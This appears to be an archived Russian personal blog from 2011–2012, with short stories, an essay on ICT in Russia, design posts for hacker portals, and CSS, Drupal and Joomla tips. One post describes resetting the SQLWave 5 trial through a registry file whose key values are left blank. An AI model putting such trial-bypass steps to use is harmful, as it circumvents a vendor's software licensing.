Kerny

Вот такой вот подарок

2012-01-07T15:10:00.000+04:00

Вот такой вот подарок пришел на Новый год. Это авторский сборник рассказов с официального форума С.В Лукъяненко. Между прочим, там и мое творение есть - "Однажды..." называется. Очень приятно, спасибо ребятам за подарок.

С новым годом!

2011-12-31T18:26:00.000+04:00

Поздравляю всех читателей и посетителей моего блога с Новым годом! Ура! Посмотрел другие блоги, многие начинают подводить итоги прошедшего года. Что же пожалуй и я их подведу. Хотя нет, как-то не охото...
Всем удачи! Пока.
Кстати читайте мой рассказ "Радуга из снега", в предыдущем посте. Надеюсь, кто-нибудь поймет его смысл... Да, и оставляйте комментарии, а то по статистике блог не плохо посещают, а коменты не пишут. Вот так вот.

P.S газетку все в туже шарагу рисовал.

Радуга из снега

2011-12-31T13:50:00.001+04:00

Осталось немного до лета,
Ради людей любите планету!
В ножны вложите мечи,
В прах разнесите чужие мечты!

Дневник Смерти запись две тысячи семьсот пятьдесят третья.
«О радуге из снега».
Сегодня.
Еще ночью вся улица покрылась изморозью. Теперь же, с наступлением утра и пробуждением ото сна солнца, шел снег. Колючий и холодный, пушистый и разноцветный. Он искрился в лучах светила, играл в солнечные зайчики, покрывал деревья белой бахромой и непривычно скрипел под ногами.
- Папа-папа смотри радуга из снега! – радостно выкрикнула маленькая девочка в вязаной шапочке, дергая своего отца за край рукава, - почему снег, который падает разноцветный, а тот который уже упал белый?
Отец нахмурился, потом улыбнулся и сказал, поправляя рукав:
- Он не разноцветный, это тебе так кажется.
- Не разноцветный? - огорчилась девочка, - почему… – с этими словами она подбежала к ближайшему сугробу и, загребая снег в ладошки начала подбрасывать его в воздух. Вокруг все зазвенело и заискрилось.
- Вот видишь! – с восторгом в глазах кричала девочка, - радуга из снега!

Дневник Смерти запись про черепаху.
«О зимней черепахе».
Сегодня.
Учитель с интересом рассматривал рисунок. На бумаге не умело заляпанной краской, проступали линии напоминающие черепаху.
- Катерина, что у тебя нарисовано? - спросил учитель, высматривая среди учеников веснушчатое лицо с широко распахнутыми серыми глазами.
- Ну, - замялась Катя, - это зимняя черепаха, учитель.
- Почему зимняя? Больше напоминает летнюю, вот цветы, трава, деревья, солнце.
- Потому, что зимняя черепаха, очень любит лето и никогда его не видела. - Ответила девочка, посмотрев в глаза учителю. - Она постоянно мечтает о нем и видит его, когда спит.
- Очень интересно, - сказал учитель, - а как бы ты нарисовала летнюю черепаху?
- Никак, - ответила Катя, - потому я и нарисовала зимнюю, а летнюю, если ему хочется, пускай рисует, кто-нибудь еще.
Учитель поправил очки, улыбнулся и произнес:
-Знаешь Катя, мне кажется, ты можешь стать настоящим художником.

Она любила рисовать. В разнобой мешать не сочетаемые цвета. Малевать красками без всякой цели…

Дневник Смерти запись оставленная летом.
«О девушке».
Сегодня.
Однажды она шла рядом с летом, неся упаковку красок и маленький мольберт. С деревьев падал тополиный пух, белый и пушистый, голубой и оранжевый, цветной как радуга, яркий как солнце. Она увидела меня и остановилась, я посмотрел ей в глаза. Затем она сказала:
- Привет.
- Здравствуй, - ответил я растерянно и отвел взгляд, - странно, что ты меня видишь.
- А другие, что не видят?
- Нет. Совсем нет, - ответил я.
- Так вот вы, какой на самом деле…- она заколебалась, - Я знала, что что-то неправильно рисую.
- А по-моему у тебя очень похоже, получается, - сказал я.
- Нет.… Не так разноцветно, как нужно, - задумчиво проговорила она, - вы ярче и цветнее.
- Зачем тебе это надо? – недоумевая, спросил я.
- Неважно… мечта у меня может быть такая.
- Мечта? - произнес я, - это как?
Она молчала. На зеленую липу, стоящую неподалеку, присел атласно-черный, переливающийся различными цветами скворец и запел веселую трель. Резкий порыв ветра хороводом завертел в воздухе тополиный пух.
- Это когда, что-то недостижимое… Чего ты одновременно хочешь и боишься.
Я взглянул в ее глаза, такие светлые и живые, серьезные и наивные.
- Так, что же ты, получается, боишься меня?
- Нет, не очень. Скорее не тебя.
- А чего же тогда, - спросил я, наблюдая за пушистым, цветным хороводом.
- Боюсь, что когда-нибудь, моя мечта сбудется.
Скворец, сидевший на дереве, недовольно завертел головой, встрепенулся и полетел прочь.
- Хорошее у тебя лето, - произнес я невпопад. – Пошли я угощу тебя кьянти.

Дневник Смерти, заметка на полях.
Интересно, к чему бы все это? Странные люди. Непонятно, зачем вообще тогда мечтать.

Дневник Смерти запись три тысячи.
«О черных каракулях на белом листе бумаги, о замысловатых линиях на шероховатом холсте».
Сегодня.
Она рисовала меня. Никто еще этого не делал, никогда. Мне нравились ее цветные фломастеры, карандаши и расплывчатая акварель:
- Ты можешь не дергаться из стороны в сторону, - недовольно сказала она. - Выбери себе точку, смотри в нее и не отвлекайся. Так мне очень сложно тебя рисовать.
- Тебе не кажется это плохой идеей?
- Что именно? – спросила Катерина.
- Рисовать меня.
- Нет, не кажется, по-моему, выходит довольно здорово, - произнесла она.
- Знаешь, я вот, что хотел спросить.
- Что? – произнесла она, в очередной раз, макая кисть в акварель.
- По поводу того дня, когда ты видела радугу из снега.
- Ты был там…
- Иначе, ни как - сказал я, и у нее на лице возникла грустная улыбка.
- Первое и последнее, что я помню – снег, не разноцветный, не цветной, не красочный, а белый. Белый без всяких причуд. Холодный, колючий и тусклый. Не сказочный, не волшебный просто белый. « Посмотри радуга из снега! Белая радуга из белого снега…». Ты не волнуйся, - промолвила она, заметив мое смятение. – Это было давно и теперь уже совсем не грустно.
Она некоторое время размышляла, затем сообщила:
- Хватит о прошлом. Я хочу прогуляться вдоль Невы, попить горячего шоколада, посмотреть, как разводят мосты. Тебя, - она улыбнулась, - я могу дорисовать и позже.

***

Наступила ночь, город засветился разноцветными огнями. Мириадами огней, окнами домов и дорожными фонарями, неоновыми вывесками и яркими елочными игрушками, искрами на снегу и блёстками на платьях. Мы неторопливо шли по мостовой. Недалеко, метрах в пяти, кувыркался в сугробе щенок.
- Катя, - произнес я.
- Чего? – ответила девушка и резвящаяся рядом собачонка замерла, с удивлением посмотрев на девушку.
Я засмеялся, представляя, как все это выглядит со стороны. – Молодая, улыбчивая девушка в сером пальто идет, жестикулирует и что-то с энтузиазмом рассказывает сама себе.
- Ну, чего тебе, - переспросила Катя.
- Смешно, это, наверное, со стороны выглядит, вот чего, - пробормотал я.
Оказывается, смерть тоже умеет мечтать. Заплетать красивые косички и завязывать строгий галстук. Любить…?

Истерзанное и избитое людьми слово, обыденное донельзя?

Я повернулся к Кате, заглянул в глаза. Повалил пушистый снег, большими ватными хлопьями падая на холодную брусчатку, облепляя со всех сторон близстоящие фонари и автомобили.
- Извини, я должен идти, - бросил я и быстрым шагом пошел прочь.
Еще некоторое время я чувствовал ее взгляд в спину. Растерянность и замешательство, недоумение и обиду, а затем глубокую задумчивость. Эта была ночь, когда родилась и умерла мечта…
Смерть, которая умеет любить и мечтать. Жить. Что может быть печальней?

Эпилог.
Рисуй девочка, рисуй… Замысловатые линии на шероховатом холсте, черные каракули на белом листе бумаги. Рисуй и не бойся, я совсем не страшен. Когда-нибудь я приду и к тебе, но вовсе не для черно-белых картинок. Просто для того чтобы-бы заглянуть в глаза. Заглянуть и увидеть, как гаснет, то самое, неведомое, непонятное и прекрасное.

14 декабря 2011 г.

by Kerny

Перспективы развития ИКТ в России

2011-12-23T20:33:00.000+04:00

Развитие информационных систем в двадцатом веке, совершенно преобразило мир в двадцать первом. В наше время совершенно не обязательно ходить по пыльным библиотекам, в поисках экзотических книг. Днями, а то и неделями ждать ответа на отправленное письмо. Загромождать офисное пространство, горами из видеокассет и тетрадями с заметками. Заниматься проявкой пленочных фотографий, в темной комнате. Бегать к другу, живущему через улицу, чтобы спросить домашнее задание.

Поход в библиотеку с легкостью заменит интернет. Постоянную проверку ящика для почты, email-месседжер. Всю необходимую для работы информацию сохранит компьютер. Фотографии напечатает принтер, а домашнее задание поможет узнать Skype.

Прелести прогресса преследуют нас повсюду и неустанно. На работе, вовремя учебы и отдыха. Куда бы мы ни отправились. Информационные технологии плотно вошли в нашу жизнь и укоренились там навсегда. Можно выделить несколько основных аспектов и направлений развития информационно-коммуникационных технологий.

Услуга, через интернет.
«Оформление документов и покупка через интернет. Стань в онлайн-очередь за документами и получи их по расписанию. Долой бюрократическую волокиту».

Прежде всего, доступ к услугам через internet, позволяет сэкономить финансовые средства федеральных и региональных бюджетов, а также финансы самих граждан (к примеру, введение системы онлайн-обработки очереди за получением паспорта, существенно снизит затраты на саму процедуру и поможет избежать огромной бюрократической волокиты). В ближайшем будущем Российское правительство планирует расширить спектр услуг, получаемых при помощи удаленного доступа. В основном речь идет о муниципальных, медицинских, финансовых и образовательных услугах (с этой целью был запущен проект gosuslugi.ru)

То, что для рядового европейца или американца, является обыденностью, у нас в стране воспринимается чуть ли не с благоговейным трепетом. Для флегматичных жителей запада, обычным делом является покупка через internet (будь-то самые тривиальные продукты питания, книга, высокопроизводительный компьютер, или ipod), оплата коммунальных услуг и услуг мобильной связи. Спросите себя или своих знакомых, как часто они покупали «услуги» через интернет? У подавляющего большинства россиян, ответ будет вполне очевиден.

С социально-экономической точки зрения, оказание услуг через интернет является очень выгодной и практичной сферой деятельности, причем это касается не только продаж. После бурных 90-ых (а возможно еще раньше) у россиян совершенно иссяк лимит доверия к государству, к различным фирмам и корпорациям (достаточно вспомнить финансовую пирамиду Мавроди). России нужен бренд, что-то вроде Google, Yahoo! или Ebay. Кто-то воскликнет и с пеной у рта начнет доказывать, что у нас есть Yandex, Rambler и что-нибудь еще, что сможет припомнить. Все просто, Яндекс и Рамблер - это далеко не бренды. Достаточно взглянуть на долю, которую они занимают на мировом рынке.

Развитие технологий удаленного доступа к «услугам» в России, происходит не равномерно. Частные организации и бизнес предприятия в принципе неплохо справляются со своими задачами. А вот государственный аппарат начисто лишен концепции интернет взаимодействия с гражданами и фирмами. Государственной власти по- прежнему требуется большое количество «бумаги». Граждане вынуждены ждать своей очереди, таскать в «большой папке», все необходимые документы, бороться с коррупцией. Когда все это можно грамотно организовать с помощью хорошо продуманной информационной системы.

Работа, как услуга.
«Работа, через интернет. Получай зарплату с чистой совестью. Забудь про надоедливого начальника».

С повсеместным развитием интернета, среди специалистов приобрел популярность такой вид деятельности, как фриланс.
Фрила́нсер (англ. freelancer — вольный копейщик, свободный копьеносец, наёмник; в переносном значении — вольный художник) — человек, выполняющий работу без заключения долговременного договора с работодателем, нанимаемый только для выполнения определённого перечня работ. Будучи вне постоянного штата какой-либо компании, фрилансер может одновременно выполнять заказы для разных клиентов.
Фриланс наиболее распространён в таких областях деятельности, как программирование и дизайн (архитектура, веб-дизайн, реклама), юридическая консультация, журналистика (копирайтинг, сочинение слоганов, названий, стихов, инструкций и т.п.). Как правило, работодатель связывается с фрилансером по средствам сети internet. Заказчик получает готовый проект, а фрилансер гонорар. При этом личной встречи между двумя сторонами не происходит.

Фриланс уже открыл принципиально новый уровень взаимодействия работодателя и работника. Его дальнейшее развитие может привести к совершенно новой организации не только Российского, но и мирового рабочего пространства.

Концепция «живых-предметов».
«Взаимодействие между предметами. Пропал срок годности у продукта? Значит, робот должен его дематериализовать».
Смысл данной концепции заключается, в том, что каждый существующий объект или предмет в жизненном пространстве человека, делается «живым». То есть буквально во все, что окружает человека, встраивается микроэлектронный чип. Это делает предметы интерактивными. Они могут взаимодействовать друг с другом, отправлять сообщения о своем состоянии другим объектам. Например, каждый пешеходный переход можно оснащать системами, которые сообщают подъезжающему автомобилю (автомобиль, соответственно тоже должен иметь интеллектуальный чип) свободен проезд или нет. Если на переходе или рядом есть люди, то машина, предварительно должна сбросить скорость. Таким же образом можно заставить машины «видеть» друг друга и заблаговременно избегать ДТП.

Большое значение концепция «живых предметов» будет иметь в роботехнике. Именно с помощью нее роботы смогут ориентироваться в окружающем пространстве, а также оказывать помощь всем кому она требуется. При этом роботы могут иметь централизованную систему управления: один сервер, к которому по сети подключены десятки, а то и сотни железных помощников.

Безопасность.
«Взломай главный сервер и получи контроль над армией роботов».

Информационные технологии – это бесспорно очень перспективная «вещь». Все те радости, которые она принесла и принесет человечеству в будущем, очень нужны. Но следуют помнить, что любую технологию, создаваемую с самыми мирными целями, можно использовать совершенно не по назначению. Достаточно вспомнить к чему привели исследования Роберта Оппенгеймера. Поэтому любую достаточно интеллектуальную информационную систему, следует надежно защищать от вторжений и взлома.

by Kerny

Дизайн для Ачата, версия 2.0

2011-10-09T19:22:00.000+04:00

Проснулся сегодня с утра и понял, что в прошлый раз я нарисовал не дизайн (я про шаблон для видео-ачата), а какую-то пародию на него, причем еще и на конкурс умудрился его выставить. Короче говоря, результатом моих новых изысканий стала еще одна партия шаблонов, дабы исправить свои предыдущие ошибки. Причем реализовал в двух цветовых решениях.

Для истинных ачатовцев и любителей "Матрицы", которые любят зелено-темную гамму:

По моему, лучше чем в прошлый вышло.

Дизайн для видео-античата

2011-09-29T20:32:00.000+04:00

Решил поучаствовать в конкурсе на antichat'е, на лучший дизайн дочернего сайта video-antichat. Очень хотелось бы выиграть, и не только из-за призового фонда.

В общем пока рисовал дизайн и придумывал интерфейс в голове возниклиразличные идеи связанные с концепцией сайта, например можно заметить под каждымопубликованным видео непонятные кнопочки (A, H, In, ][), это что-то вродеальтернативы социальным кнопкам, только связаны они с другими хакерскимипорталами (хакзона, иннатак, хакер) и одновременно определяют первоисточникролика. Это поможет избежать просматривания одних и тех же видео опубликованныхна разных порталах. И вообще я бы предложил авторам проекта не ограничиватьсявидео-взломами только с ачата, а сделать один портал на всю российскуюхаксцену. Если уж начинаете свой проект, то зачем мелочится? Как я понял изописания, то все видео-ролики будут храниться на ютубе, лучше уж все это делоорганизовать на своих серверах, а то смысла в начинании мало (правда, тут нужныбольшие капитала вложения).

Дизайн хакзоны

2011-09-10T14:00:00.000+04:00

Не так давно, точнее довольно таки давно, было запланировано полностью переделать портал hackzona.ru. За работу взялись лишь два энтузиаста. Мне нужно было придумать свежий дизайн, в то время, как mbr занимался непосредственно кодом движка проекта. И вот после кропотливой работы готов первый вариант дизайна главной страницы.

Вообще графический интерфейс был спроектирован довольно быстро, - часто не было времени им заняться. Все иконки, кроме трех (Новости, Видео, Вопросы) авторские. Даже старые хакзоновские значки перерисованы.

Жду ваших комментариев, по поводу улучшения дизайна, ведь это только первый вариант. Что не нравится, что нравится, что переделать и т.п. Как только будет готов окончательный вариант интерфейса главной страницы, начну рисовать дочерние.

Верстаем резиновый трех колоночный макет

2011-08-19T18:12:00.002+04:00

Одним из наиболее распространенных макетов верстки является, трех колоночный резиновый шаблон, в котором каждая из трех колонок может растягиваться в зависимости от разрешения монитора. Или, как вариация две боковые колонки фиксированной ширины, а центральная, с контентом – резиновая или же, что более экзотично, центральная колонка фиксирована, а боковые растягиваются в зависимости от разрешения и размера экрана пользователя сайта.
Если говорить о табличной верстке, то там все прозрачно, если о верстке слоями, то там тоже не все так сложно, как может показаться сначала. Первая особенность при верстке такого макета, это последовательность слоев. Изначально может показаться, что она должна быть следующей:

Левая колонка
Центральный блок
Правая колонка

Но это не так, правильная последовательность такая:

Левая колонка
Правая колонка
Центральный блок

Если расположить элементы, как в первом варианте, то правая колонка будет постоянно «уезжать» вниз, или в некоторых случаях вниз будет «сползать» центральный блок.

Левое меню  

Правое меню 

Блок с контентом

Теперь дело стоит за css:

#sidebar-left { /* Левая колонка */

    float: left; /* Обтекание справа */

    border: 1px solid #333; /* Рамка вокруг */

    width: 10%; /* Ширина колонки */

    padding: 5px; /* Поля вокруг текста */

    margin: 10px 20px 20px 5px; /* Значения отступов */

    min-width: 200px; /* Устанавливаем минимальную ширину */

   }

   

    #sidebar-right { /* Правая колонка */

    float: right; /* Обтекание слева */

    border: 1px solid #333; /* Рамка вокруг */

    width: 10%; /* Ширина колонки */

    padding: 5px; /* Поля вокруг текста */

    margin: 10px 10px 20px 20px; /* Значения отступов */

    min-width: 200px;/* Устанавливаем минимальную ширину */

   }

   

   #content { /* центральный блок (контент) */

	overflow: hidden; /* Отображается только область внутри элемента*/

   }

Правой и левой колонке устанавливаем ширину в 10%, а также минимальную ширину (на очень-очень маленьких мониторах или при большом увеличении, содержимое блока может не вместиться и вылезти за границы, поэтому подстраховываемся на всякий случай), и соответственно, выравниваем по правому и левому краю с помощью float. Ширину центрального блока не трогаем, так как она по умолчанию равна auto, это как раз то, что нужно. Свойство overflow управляет отображением элемента, hidden говорит браузеру, что отображать нужно область только внутри блока, если она не вмещается, то скрывать. Если этого не сделать, блок растянется на всю ширину экрана. Многие, как альтернативу или просто не зная, используют конструкцию типа:

#content { /* центральный блок (контент) */

	 margin-left: 15%;

         margin-right: 15%;

   }

Изначально я тоже ее применял, но оказалось, что браузер google chrome, не совсем верно отображал эту конструкцию, да и min-width, для колонок толком использовать нельзя. Если добавить к ней overflow, то все становится нормально, но браузер от google все равно отображает неправильно. Таким образом, я пришел к простому overflow: hidden, избавившись от лишних нагромождений.

Для того чтобы сделать макет с фиксированными правой и левой колонкой, достаточно свойству width присвоить не процентное, а статическое (пиксельное) значение. Ниже я привел код подобного макета (три резиновые колонки) в качестве цельной html страницы с контентом и всем необходимым:

Трехколоночный резиновый макет

  

 

 

  Трехколоночный резиновый макет
Commodore Chessmate

Роба́стное управле́ние

Адаптивное управление

Оптимальное управление

Плановое управление 

Гомеостат

Открытая система

Cамоорганизующаяся система

Задача оптимального управления
Л.С. Понтрягин

В.Г. Болтянский

Р.В. Гамкрелидзе

Е.Ф. Мищенко
Commodore Chessmate  Commodore Chessmate — один из первых шахматных компьютеров, выпущенный компанией Commodore в июне 1978 года в США, Англии и Германии.

				Впервые был представлен на CES 1978 года в Чикаго.Commodore Chessmate является одним из первых шахматных компьютеров, поступивших в массовую 

				продажу. Самая первая подобная машина — Fidelity Chess Challenger 10, выпущенная компанией Fidelity Electronics, — появилась на прилавках всего годом

				ранее — весной 1977 года.Chessmate базируется на одноплатном компьютере KIM-1, произведённом также компанией Commodore. В нём используется

				программа Microchess 1.5, написанная 18 декабря 1976 года программистом Питером Дженнигсом (англ. Peter Jennings) для компьютеров KIM-1. Позже на

				основе этой программы были выпущены другие шахматные компьютеры — Novag Chess Champion MK II в 1979 году и TEC Schachcomputer в 1981 году. Особым

				успехом компьютер не пользовался, поэтому уже в 1980 году Commodore остановила выпуск Chessmate.
Роба́стное управле́ние Роба́стное управле́ние — совокупность методов теории управления, целью которых является синтез такого регулятора, который обеспечивал бы хорошее 

				качество управления (к примеру, запасы устойчивости), если объект управления отличается от расчётного или его математическая модель неизвестна.

				Таким образом, робастность означает малое изменение выхода замкнутой системы управления при малом изменении параметров объекта управления.
Адаптивное управление Адаптивное управление — совокупность методов теории управления, позволяющих синтезировать системы управления, которые имеют возможность

				изменять параметры регулятора или структуру регулятора в зависимости от изменения параметров объекта управления или внешних возмущений

				, действующих на объект управления. Подобные системы управления называются адаптивными. Адаптивное управление широко используется во многих

				приложениях теории управления.
Оптимальное управление Оптимальное управление — это задача проектирования системы, обеспечивающей для заданного объекта управления или процесса закон управления

				или управляющую последовательность воздействий, обеспечивающих максимум или минимум заданной совокупности критериев качества системы .

				Для решения задачи оптимального управления строится математическая модель управляемого объекта или процесса, описывающая его поведение с течением времени

				под влиянием управляющих воздействий и собственного текущего состояния. Математическая модель для задачи оптимального управления включает в себя:

				формулировку цели управления, выраженную через критерий качества управления; определение дифференциальных или разностных уравнений,

				описывающих возможные способы движения объекта управления; определение ограничений на используемые ресурсы в виде уравнений или неравенств.

by Kerny

Продлеваем триальный период в SQLWave 5

2011-08-17T19:37:00.001+04:00

Привет, что-то я давно не писал в блог.
Сегодня я расскажу, как можно продлить триальный период в программе SQLWave 5. Программа очень полезная, а у меня возникла острая необходимость ей воспользоваться, как раз в тот момент, когда закончился период демо использования. Других подходящих инструментов под рукой не нашлось. Разработчики программы применили довольно тривиальную защиту (как и большинство) свои триальные ключи SQLWave хранит в реестре Windows, но как обычный человек я не поступил (обыкновенный поиск по всему реестру Виндовс), а зачем-то полез в Дебагер и стал искать их в памяти программы и, разумеется, успешно нашел. Достаточно сохранить ниже следующий код в *.reg файле и экспортировать его в реестр.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Nerocode\SQLWave 5\Register]
"TrialStart"=hex:
"TrialPeriod"=hex:
"Key"=""

Создание регионов в Drupal 7

2011-06-20T21:39:00.008+04:00

Для того чтобы создать новый регион в drupal 7, нужно определить имя региона в файле *.info он всегда хранится в папке с темой (site.ru\sites\all\themes\name_themes\). Предположим, что нам нужно создать регион с именем left и располагаться он должен между регионами с именами header и region1 соответственно. Внесем в файл name_themes следующие изменения:

name = name_themes
description = Theme for drupal 7
version = VERSION
core = 7.x
engine = phptemplate
regions[header] = Header
regions[left] = left
regions[region1] = region1
regions[region2] = region2
regions[region3] = region3
stylesheets[all][] = style.css
version = "7.0"project = "name_themes"

Мы добавили строчку regions[left] = left, где первый left это имя переменной нового региона, а left после знака равенства, его название. Оно будет отображаться в панели администратора. Кстати его можно написать и на русском, но тогда файл следует сохранить в кодировке UTF-8. Далее открываем файл page.tpl.php. И вставляем следующий код, между описанием региона Header и региона region1 (как правило их границы часто обозначаются комментариями, мы тоже обозначим) :

В принципе регион создан. Остается добавить его описание в css (что кстати необязательно), для этого мы используем тег div, в котором объявлен класс left. Пишем в файл style.css:

#left {/* ваше описание*/}

Таким образом можно создать неограниченное количество регионов, хотя я бы не советовал особо увлекаться.

Ошибка cookie при установки joomla

2011-06-13T13:54:00.001+04:00

При установки joomla на хостинг возникла ошибка:

Возникла ошибка:
Похоже, что в вашем вэб-браузере выключены cookie. Вы не сможете установить приложения, если эта функция будет выключена.

На автомате проверил браузер, хотя даже не сомневался, что cookie работают и это ошибка со стороны сервера, как выяснилось позже, так оно и оказалось. Первым делом я обратился в google. Там мне предложили создать в корне web-сервера файл .htaccess, с таким содержанием:

php_value session.save_path /home/users/username/domanename/htdocs/tmp

То есть прописать путь к папке, где хранятся временные файлы. Обрадовался, но быстро разочаровался, потому что это не помогло. Немного подумал, решил посмотреть какие ошибки возникают при установки и как они отображаются в логах

[Mon Jun 13 12:51:01 2011] [error] [client 400.700.50.10] PHP Warning: session_start() [function.session-start]: open(/var/www/base/mod-tmp/sess_c57f195970c7f0c208ab05219a9c5c84, O_RDWR) failed: Permission denied (13) in /var/www/base/o-mr.ru/libraries/joomla/session/session.php on line 423, referer: http://o-mr.ru/installation/index.php

Не нужно быть гением, чтобы понять, что временная папка, которая требуется joomla это mod-tmp. Либо ее не существует на сервере, либо права доступа настроены не верно. У меня был второй вариант, подключившись к web-server'у через ftp, перенастроил права доступа и все заработало!

Он на Луне.

2011-06-05T21:18:00.002+04:00

Луна. Кратер Коперника.
Глубина -1802 метра относительно геоида. Восход.

Его дом просыпался первым. Бережно вытягивая своего хозяина из царства сна. Поднимались жалюзи, на единственном иллюминаторе впуская солнечные лучи. Включалась спокойная музыка обычно, что-нибудь из классики рок-н-рола. Шипела на сковороде яичница с кусочком размороженного только что мяса. Подогревался на плите чайник, начиная не замысловато посвистывать. Тихо жужжала вентиляционная система, обогащая воздух кислородом.
Он открыл глаза и почувствовал тепло и уют. Настроение сразу поднялось. Улыбнувшись сам себе, он спрыгнул с просторной кровати и побрел на кухню. Попутно разжевывая освежающие пилюли.
- Какая аппетитная яичница, - облизывая губы, сказал он сам себе, - Так, что у нас сегодня на десерт? Угу, как всегда ничего… - притворно огорчился он и начал завтракать.

За иллюминатором очень медленно восходила Земля. Вся в серой дымке с черными атмосферными завихрениями и красной раскаленной точкой где-то в центре бывшей Евразии. Теперь расколотой на пять огромных материков и еще тысячу, а может и больше клочков суши. Впрочем, таких подробностей за атмосферной пылью было не разглядеть.
Жужжание вентиляторов стихло. Джеймс закончил завтрак, посмотрел на электронный циферблат часов, и на его лице отразилось легкое нетерпение с каждой секундой становившееся более явным. Потом раздалась приятная и такая родная трель т-фона. Время радиомолчания закончилось. Джеймс неспешно приблизился к иллюминатору и ответил на звонок.
- О! Джей уже проснулся? – раздался жизнерадостный немного с хрипотцой голос, возможно, причиной тому были помехи при передаче данных с обратной стороны луны, а возможно и нет. За ним на маленьком дисплее возникла чумазая физиономия с коротко стрижеными волосами, светлыми, как весенний ручей внимательными глазами и небольшим носом с горбинкой. – Я так ждал возможности с тобой поговорить.

- Привет Алан! Да, уже не сплю, даже позавтракать успел, - ответил Джеймс, - рад, что мы снова на связи.
- Чем планируешь сегодня заниматься? – поинтересовался чумазый человек, которого назвали Аланом.
Джеймс хмыкнул и жестом указал системе воспроизводящей музыку убавить звук.
- От чего-то мне кажется, что сегодня мы будем разговаривать весь день, а может еще и ночь, - ответил он, - ты же не против?
- Нет, конечно, нет! Что за глупые вопросы? - притворно обиделся Алан.
- Кстати Джей, - он вдруг посерьезнел, - давно хотел тебя спросить…
- Спрашивай, не тяни, - коротко сказал Джеймс.
- Во вселенной остались только мы. Мы двое, - начал, было, Алан.
- Не факт, - перебил его Джей.
- Не будем жить иллюзорными надеждами, - отрезал чумазый Алан и прикусил губу.
- Неважно... Что ты хотел узнать? – отстраненно продолжил разговор Джеймс.
- Зачем ты занимаешься своими исследованиями? Ведь это все равно, что писать книгу, которую никто ни когда не прочтет.
Джей задумался. Прошелся взад вперед по комнате. Доедая оставшийся хлеб со стола. Потом коротко ответил:
- Не знаю.… Некоторые книги нужно обязательно написать, не зависимо от того прочтут их или нет…. К тому же если ни чем не заниматься можно сойти с ума или умереть от скуки.
Алан вздохнул. Его светлые глаза посерели. Изображение на экране т-фона дернулось и зарябило.
- У меня тут гелий кончился, - сказал он как бы между делом. – Лучше бы подумал, как мне перебраться к тебе на станцию.

Луна. Кратер Коперника.
Глубина -1802,000003817 метра относительно геоида.
Лунный день. Легкая сейсмическая активность.

- Все-таки очень плохо, что кончился гелий, - теперь Джей повторял эту фразу у себя в сознании практически, каждые пять минут. Лишь за редким исключением ему удавалось отвлечься от этой назойливой мысли на больший промежуток времени. Станцию слегка трясло. Такое иногда случалось. Нужно срочно было выручать Алана. - Единственного человека во вселенной помимо самого Джея. Долгие беседы со светлоглазым Аланом бывало, помогали забыть о том, что остались только они. Казалось, сейчас глянешь в иллюминатор и увидишь зелено-голубой серп старушки Земли. Выйдешь в сеть и отправишь сообщение домой, а еще лучше запишешь целое видео послание и отправишь! А потом, еще приятнее! Получишь на него ответ!
Он нетерпеливо переминался с ноги на ногу подле т-фона. Оставалось несколько минут, до того как искусственный спутник луны выйдет из «мертвой зоны». Джей постоянно бросал быстрые взгляды, на цифровые часы, отмеряющие очередные солнечные сутки на Луне. Время пришло. Он набрал код, на т-фоне вызывая Алана:
-Да, Джей, - раздалось из стерео динамика.
- Я придумал, как тебе перебраться ко мне на станцию, - быстро выпалил Джеймс.

Луна. Кратер Коперника.
Глубина -1802 метра относительно геоида. Закат.

Сначала зазвонил т-фон:
- Это я. Открывай свою консервную банку по скорее! – сказал Алан, не привычным без хрипотцы голосом. Видимо она – хрипотца, действительно была следствием помех возникающих при передаче данных. Потом раздался неуклюжий грохот-стук в шлюз. Автоматическая система подняла ворота. Но камера шлюза так и осталась пуста, по крайней мере, программное сканирование говорило именно об этом.
- Алан, ты где, - встревожено, спросил Джей в т-фон. Ответа не последовало. Это было странным. Джеймс вышел в камеру и убедился, что там действительно ни кого нет. Затем надел скафандр и отправился на поверхность. Довольно долго он бродил вокруг станции, но не нашел там никого. Даже следов. Даже следов! Тогда с кем он разговаривал?! Кто стучался в шлюз?!
Медленно заходила Земля. Джей все еще ждал прихода Алана, неподвижно стоя возле шлюзовых ворот. Вокруг все посерело. Освещение вокруг станции, будто нарочно стало подергиваться и мерцать. Луна вращалась вокруг своей оси, вокруг Земли, вокруг Солнца. А его все не было. Пришлось войти назад, снять скафандр и уже неподвижно сидеть у окна-иллюминатора, ожидая непонятно чего. Любому дураку ведь понятно….
Не с кем было разговаривать. Не с кем было молчать…. Только станция продолжала жить. Каждое утро все также играла музыка, жужжала вентиляция, поднимались жалюзи. Он впрочем, тоже скоро опомнился и даже стал глотать освежающие пилюли. Получать удовольствие от яичницы на завтрак. И даже принялся писать книгу, которую никто кроме него никогда не прочтет, но это уже не важно. Некоторые книги должны быть обязательно написаны…
Однажды Джей надолго задержался у зеркала и испугал сам себя. Оттуда на него смотрели светлые, как весенний ручей пронзительные глаза.… Но это ничего, - испугаться.

5 апреля 2011 г.

by Kerny

Однажды…

2011-06-05T21:17:00.002+04:00

Светил фонарь, разгоняя вокруг себя тьму. Маленькая девочка по имени Миоки, с широко распахнутыми глазами и тревожно бьющимся сердцем подошла к кирпичной стене, в которой виднелся дверной проем. Над входом яркими огнями переливались изображение журавликов и китайских воздушных драконов. Синий, оранжевый, зеленый, красный, белый, желтый, сиреневый, снова синий. Ночь и тишина вокруг, далекий скрип трамвая, - большой бардовой гусеницы медленно и неотвратимо ползущей по городу.
Миоки подняла руку и робко постучалась в дверь. Но тишина молчала, она была, не в настроении разговаривать. Девочка оглянулась по сторонам, сердце все также тревожно билось в груди. Затем засов на двери щелкнул и на пороге показался молодой человек здоровенного роста, с длинными до плеч волосами и носатым лицом. Сначала он не заметил Миоки, лишь кромешную тьму перед входом, нахмурился, хотел захлопнуть дверь, тогда девочка быстро сказала:
- Весенние листья, кружащие в воздухе, разгоняют пушистых птенцов, которые совсем не могут летать.
Здоровяк встрепенулся и выразительно взглянул на маленькую фигурку Миоки.
- Маленьким девочкам вход запрещен, - сухо сказал он, но дверь закрывать не спешил, - иди домой уже поздно.
- У вас сказано, что войти может любой желающий знающий заветную фразу – пароль, - невозмутимо ответила Миоки.
- Да, верно.… Еще там сказано, что наше заведение для тех, кто хочет изменить свою жизнь.
Дохнуло теплым ветром, приятно обжигая лицо. Большой человек с большим носом назидательно поднял палец к темному небу, где как раз пролетал небольшой грузовой флаэр.
- Зачем такой юной девушке менять свою жизнь?
- А с чего вы решили, что свою? – произнесла девочка, и принялась пристально рассматривать свои бело-черные башмаки.
Здоровяк улыбнулся - печально и совсем без радостно.
